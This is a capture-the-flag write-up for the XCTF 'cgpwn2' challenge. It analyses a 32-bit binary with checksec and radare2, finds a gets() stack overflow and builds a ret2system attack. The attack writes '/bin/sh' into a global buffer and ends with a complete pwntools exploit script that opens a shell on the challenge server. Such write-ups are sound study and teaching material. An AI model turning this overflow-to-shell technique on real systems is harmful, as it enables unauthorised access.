0%

xctf pwn cgpwn2 writeup

Source

Recently I found an interesting challenge collection site called XCTF World of Attack & Defense. This is the first challenge on their site. It’s also called cgpwn2.

Analysis

It’s a 32bits binary:

1
2
3
$ file pwn_1
pwn_1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2,
for GNU/Linux 2.6.24, BuildID[sha1]=86982eca8585ab1b30762b8479a6071dbf584559, not stripped

Checksec first:

1
2
3
4
5
6
7
gef➤  checksec
[+] checksec for 'pwn_1'
Canary : No
NX : Yes
PIE : No
Fortify : No
RelRO : Partial

Basically no protection. Only NX is set to Yes.

Then check its functions list with radare2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[0x08048450]> afl
0x08048450 1 33 entry0
0x08048440 1 6 sym.imp.__libc_start_main
0x08048490 4 42 sym.deregister_tm_clones
0x080484c0 4 55 sym.register_tm_clones
0x08048500 3 30 entry.fini0
0x08048520 4 45 -> 44 entry.init0
0x080486e0 1 2 sym.__libc_csu_fini
0x08048480 1 4 sym.__x86.get_pc_thunk.bx
0x080486e4 1 20 sym._fini
0x08048562 9 162 sym.hello
0x0804854d 1 21 sym.pwn
0x08048420 1 6 sym.imp.system
0x08048670 4 97 sym.__libc_csu_init
0x08048604 1 96 main
0x080483e0 1 6 sym.imp.setbuf
0x08048410 1 6 sym.imp.puts
0x080483a0 3 35 sym._init
0x08048430 1 6 loc.imp.__gmon_start
0x080483f0 1 6 sym.imp.gets
0x08048400 1 6 sym.imp.fgets

sym.imp.system might be an entry point to the host system. The name of sym.pwn is also interesting. sym.imp.gets could be very likely to triger a buffer overflow.

Then analyze the code. We’ll entry from entry0 and go directly to the main function. In the main function, the program basically does nothing neither. It called sym.hello and then called call sym.imp.puts. The interesting thing should happen in sym.hello.

In the first half of the program, it does some funny things but I don’t think those are related to the real flaw. I only focus on the second half:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌ 162: sym.hello ();                                                                                                                               
│ ; var char *s @ ebp-0x26
│ ; var int32_t size @ esp+0x4
│ ; var FILE *stream @ esp+0x8
...
...
│ └─> 0x080485bc c704240c8704. mov dword [esp], str.please_tell_me_your_name ; [0x804870c:4]=0x61656c70 ; "please tell me your name" ;
const char *s
│ 0x080485c3 e848feffff call sym.imp.puts ; int puts(const char *s)
│ 0x080485c8 a144a00408 mov eax, dword [obj.stdin] ; obj.stdin__GLIBC_2.0
│ ; [0x804a044:4]=0
│ 0x080485cd 89442408 mov dword [stream], eax ; FILE *stream
│ 0x080485d1 c74424043200. mov dword [size], 0x32 ; '2'
│ ; [0x32:4]=-1 ; 50 ; int size
│ 0x080485d9 c7042480a004. mov dword [esp], obj.name ; [0x804a080:4]=0 ; char *s
│ 0x080485e0 e81bfeffff call sym.imp.fgets ; char *fgets(char *s, int size, FILE *stream)
│ 0x080485e5 c70424288704. mov dword [esp], str.hello_you_can_leave_some_message_here: ; [0x8048728:4]=0x6c6c6568 ; "hello,you can
leave some message here:" ; const char *s
│ 0x080485ec e81ffeffff call sym.imp.puts ; int puts(const char *s)
│ 0x080485f1 8d45da lea eax, [s]
│ 0x080485f4 890424 mov dword [esp], eax ; char *s
│ 0x080485f7 e8f4fdffff call sym.imp.gets ; char *gets(char *s)
│ 0x080485fc 90 nop
│ 0x080485fd 83c430 add esp, 0x30
│ 0x08048600 5b pop ebx
│ 0x08048601 5e pop esi
│ 0x08048602 5d pop ebp
└ 0x08048603 c3 ret

It’s easy to see that there is a stack overflow on 0x080485f7 e8f4fdffff call sym.imp.gets ; char *gets(char *s). s is a local variable points to ebp-0x26 and sym.imp.gets will not check input’s length. So we can overwrite the return address with the address of sym.imp.system with stack overflow and pass ‘/bin/sh’ as a parameter(32 bits applications use stack to pass the parameters). Then we should be able to take control of the system.

Then the problem is where to store the string “/bin/sh”. It could be great if we can save this string to .bss section: the variable obj.name is a global variable. So we can type /bin/sh as our “name” in the previous fgets() and save the to .bss section.

Now we have the “/bin/sh” string, the address of system, and a stack overflow on a 32 bits app. It’s good to go now.

Setup stack

When calling sym.hello, stack space was looks like this:

address content
0xffffd122 var char *s @ ebp-0x26 the overflow point
other local variables in function sym.hello
0xffffd148 old ebp (ebp in new stack frame will point to this address)
0xffffd14c return address to main: <main+77> mov DWORD PTR [esp], 0x804874f

We want to make the stack looks like this so we can jump to system with a pointer to string “/bin/sh” as its parameter:

address content
0xffffd122 var char *s @ ebp-0x26 I don’t really care
other local variables in function sym.hello I don’t really care
0xffffd148 old ebp (ebp in new stack frame will point to this address) I don’t really care
0xffffd14c return address to main: <main+77> mov DWORD PTR [esp], 0x804874f I need it be the address to sym.imp.system
0xffffd150 The return address from sym.imp.system I don’t really care
0xffffd154 sym.imp.system‘s argument. I need it be the pointer to “/bin/sh”

So the payload should be: “x” * (0xffffd14c - 0xffffd122) + (sym.imp.system‘s address) + “x” * 4 + (obj.name‘s address [we already set this to “/bin/sh”])

Then we got shell.

Knowledge

At first, I set the payload as “x” * (0xffffd14c - 0xffffd122) + (sym.imp.system‘s address) + (obj.name‘s address [we already set this to “/bin/sh”]). Then of course I can not get shell and it does not return anything. I was confused for a while but when I draw the stack, I found that I forgot the reserve a place for return address from sym.imp.system.

Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

ip = "111.198.29.45"
port = "54346"

r = remote(ip, port)
e = ELF("./53c24fc5522e4a8ea2d9ad0577196b2f")

system = e.symbols['system']
name = 0x0804A080

payload = b'a' * 42 + p32(system) + p32(0) + p32(name)
r.sendlineafter("please tell me your name\n", '/bin/sh')
r.sendlineafter("hello,you can leave some message here:\n", payload)

r.interactive()

Download

click to download the binary